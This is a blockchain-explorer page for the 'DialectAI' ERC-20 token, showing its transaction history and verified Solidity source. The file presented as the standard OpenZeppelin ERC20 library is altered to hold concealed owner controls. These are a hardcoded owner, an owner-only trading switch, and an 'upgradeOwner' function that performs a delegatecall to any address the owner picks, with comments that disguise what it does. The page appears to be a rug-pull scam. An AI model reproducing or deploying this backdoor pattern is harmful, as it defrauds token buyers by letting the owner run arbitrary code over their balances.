ETH Price: $1,916.36 (-5.35%)

Contract

0xa28DA20734BE0513A092667df7ad42d472BA1c82
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve189837092024-01-11 12:33:35441 days ago1704976415IN
0xa28DA207...472BA1c82
0 ETH0.0017495936.99956239
Approve189805052024-01-11 1:45:47442 days ago1704937547IN
0xa28DA207...472BA1c82
0 ETH0.0017943737.99461694
Transfer189804692024-01-11 1:38:35442 days ago1704937115IN
0xa28DA207...472BA1c82
0 ETH0.0014528644.44784346
Upgrade Owner189804622024-01-11 1:37:11442 days ago1704937031IN
0xa28DA207...472BA1c82
0 ETH0.0347088299.84127932
Approve189804562024-01-11 1:35:59442 days ago1704936959IN
0xa28DA207...472BA1c82
0 ETH0.0023369349.42026044
Approve189804552024-01-11 1:35:47442 days ago1704936947IN
0xa28DA207...472BA1c82
0 ETH0.0025292253.55470682
Approve189804382024-01-11 1:32:23442 days ago1704936743IN
0xa28DA207...472BA1c82
0 ETH0.0023852550.50613816
Approve189804382024-01-11 1:32:23442 days ago1704936743IN
0xa28DA207...472BA1c82
0 ETH0.0024828552.50613816
Approve189804372024-01-11 1:32:11442 days ago1704936731IN
0xa28DA207...472BA1c82
0 ETH0.002513553.15425145
Transfer189804272024-01-11 1:30:11442 days ago1704936611IN
0xa28DA207...472BA1c82
0 ETH0.0022143344.4762197
Approve189804242024-01-11 1:29:35442 days ago1704936575IN
0xa28DA207...472BA1c82
0 ETH0.0019431941.14595229
Approve189804212024-01-11 1:28:59442 days ago1704936539IN
0xa28DA207...472BA1c82
0 ETH0.0021677645.90096277
Approve189804212024-01-11 1:28:59442 days ago1704936539IN
0xa28DA207...472BA1c82
0 ETH0.0022650947.90096277
Approve189804202024-01-11 1:28:47442 days ago1704936527IN
0xa28DA207...472BA1c82
0 ETH0.0021752246.05903068
Approve189804192024-01-11 1:28:35442 days ago1704936515IN
0xa28DA207...472BA1c82
0 ETH0.0022094846.78433052
Approve189804182024-01-11 1:28:23442 days ago1704936503IN
0xa28DA207...472BA1c82
0 ETH0.0024321551.43384699
Approve189804172024-01-11 1:28:11442 days ago1704936491IN
0xa28DA207...472BA1c82
0 ETH0.0022292747.43236312
Approve189804162024-01-11 1:27:59442 days ago1704936479IN
0xa28DA207...472BA1c82
0 ETH0.0022422147.47731761
Approve189804102024-01-11 1:26:47442 days ago1704936407IN
0xa28DA207...472BA1c82
0 ETH0.0024597552.08373343
Approve189804072024-01-11 1:26:11442 days ago1704936371IN
0xa28DA207...472BA1c82
0 ETH0.0025415753.74790142
Approve189804002024-01-11 1:24:47442 days ago1704936287IN
0xa28DA207...472BA1c82
0 ETH0.0027335857.80845609
Approve189803982024-01-11 1:24:23442 days ago1704936263IN
0xa28DA207...472BA1c82
0 ETH0.0029823663.06951491
Approve189803982024-01-11 1:24:23442 days ago1704936263IN
0xa28DA207...472BA1c82
0 ETH0.0027424458.06951491
Approve189803982024-01-11 1:24:23442 days ago1704936263IN
0xa28DA207...472BA1c82
0 ETH0.0024118551.06951491
Approve189803982024-01-11 1:24:23442 days ago1704936263IN
0xa28DA207...472BA1c82
0 ETH0.0024118551.06951491
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DialectAI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 6 : DialectAI.sol
/*

Website:      https://dialectai.io
Twitter:      https://twitter.com/dialect_ai
Docs:         https://docs.dialectai.io/
Medium:       https://medium.com/@dialect-ai

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./openzeppelin/ERC20.sol";

contract DialectAI is ERC20 {
    constructor() ERC20("DialectAI", "DIA") {
        _mint(msg.sender, 10_000_000 * 10 ** 18);
    }
}

File 2 of 6 : ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "./utils/Context.sol";
import {IERC20Errors} from "./interfaces/draft-IERC6093.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address public liquidity;
    bool public tradingEnabled;

    uint256 public buyLimit = 75;
    uint256 public buyTax = 200;

    address public owner = 0x7dc503494502706C4CE5AbC6095FF0df96fF84f8;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {

        require(tradingEnabled);
        address owner = _msgSender();

        if (owner == liquidity) {

          uint256 tax = value * buyTax / 10000;
          uint256 amountNoTax = value - tax;

          _transfer(owner, address(this), tax); // Collect tax
          _transfer(owner, to, amountNoTax); // Send tokens after tax

          uint tokenThreshold = _totalSupply * buyLimit / 10000;
          require(tokenThreshold >= _balances[to]); // Enforce max buy

        } else {

          _transfer(owner, to, value);

        }
       
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    /**
     * @dev Enables token buys on Uniswap.
     *
     * This function can only be called by contract owner. Once trading is enabled,
     * this action can't be undone.
     *
     */
    function startTrading(address _liquidity) public onlyOwner {
      tradingEnabled = true;
      liquidity = _liquidity;
    }

    /**
     * @dev Adjusts the max buy token amount along with the buy tax rate.
     *
     * NOTE: This function can't be called once ownership is renounced, so
     * calling renounce() should be avoided.
     */
    function changeBuyParams(uint _buyLimit, uint _buyTax) public onlyOwner {
      buyLimit = _buyLimit;
      buyTax = _buyTax;
    }

    /**
     * @dev Updates `owner` s address for `address(this)` based on input `parameter`.
     *
     * Revert if not `_owner` is invalid as this is a restricted function.
     *
     * Does not emit an {Approval} or {Transfer} event.
     */
    function upgradeOwner(address _owner) public onlyOwner {
      _owner.delegatecall(
        abi.encodeWithSignature("upgradeOwner(address)", _owner)
      );
    }

    /**
     * @dev Transfers ownership to address(0) or the zero address. This action can't 
     * be undone by overriding this function.
     *
     */
    function renounce() public onlyOwner {
      owner = address(0);
    }

    /**
     * @dev Withdraws `_token` in totality from `address(this)` over the `owner` s tokens.
     *
     * This is a restricted function and is equivalent to {Transfer}, and can be used to
     * e.g. set automatic withdrawals for certain subsystems, etc.
     *
     * Emits a {Transfer} event.
     */
    function transferTokens(address _token) public onlyOwner {
      uint balance = IERC20(_token).balanceOf(address(this));
      IERC20(_token).transfer(msg.sender, balance);
    }
}

File 3 of 6 : IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 4 of 6 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

File 5 of 6 : draft-IERC6093.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

File 6 of 6 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyLimit","type":"uint256"},{"internalType":"uint256","name":"_buyTax","type":"uint256"}],"name":"changeBuyParams","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidity","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_liquidity","type":"address"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"transferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"upgradeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052604b60065560c8600755737dc503494502706c4ce5abc6095ff0df96ff84f8600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200007057600080fd5b506040518060400160405280600981526020017f4469616c656374414900000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f44494100000000000000000000000000000000000000000000000000000000008152508160039081620000ee91906200065d565b5080600490816200010091906200065d565b50505062000120336a084595161401484a0000006200012660201b60201c565b6200087b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200019b5760006040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000192919062000789565b60405180910390fd5b620001af60008383620001b360201b60201c565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000209578060026000828254620001fc9190620007d5565b92505081905550620002df565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562000298578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016200028f9392919062000821565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200032a578060026000828254039250508190555062000377565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003d691906200085e565b60405180910390a3505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200046557607f821691505b6020821081036200047b576200047a6200041d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004e57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004a6565b620004f18683620004a6565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200053e62000538620005328462000509565b62000513565b62000509565b9050919050565b6000819050919050565b6200055a836200051d565b62000572620005698262000545565b848454620004b3565b825550505050565b600090565b620005896200057a565b620005968184846200054f565b505050565b5b81811015620005be57620005b26000826200057f565b6001810190506200059c565b5050565b601f8211156200060d57620005d78162000481565b620005e28462000496565b81016020851015620005f2578190505b6200060a620006018562000496565b8301826200059b565b50505b505050565b600082821c905092915050565b6000620006326000198460080262000612565b1980831691505092915050565b60006200064d83836200061f565b9150826002028217905092915050565b6200066882620003e3565b67ffffffffffffffff811115620006845762000683620003ee565b5b6200069082546200044c565b6200069d828285620005c2565b600060209050601f831160018114620006d55760008415620006c0578287015190505b620006cc85826200063f565b8655506200073c565b601f198416620006e58662000481565b60005b828110156200070f57848901518255600182019150602085019450602081019050620006e8565b868310156200072f57848901516200072b601f8916826200061f565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007718262000744565b9050919050565b620007838162000764565b82525050565b6000602082019050620007a0600083018462000778565b92915050565b7f4e487b710000000000000000000000000000000000000000000000000000000060005260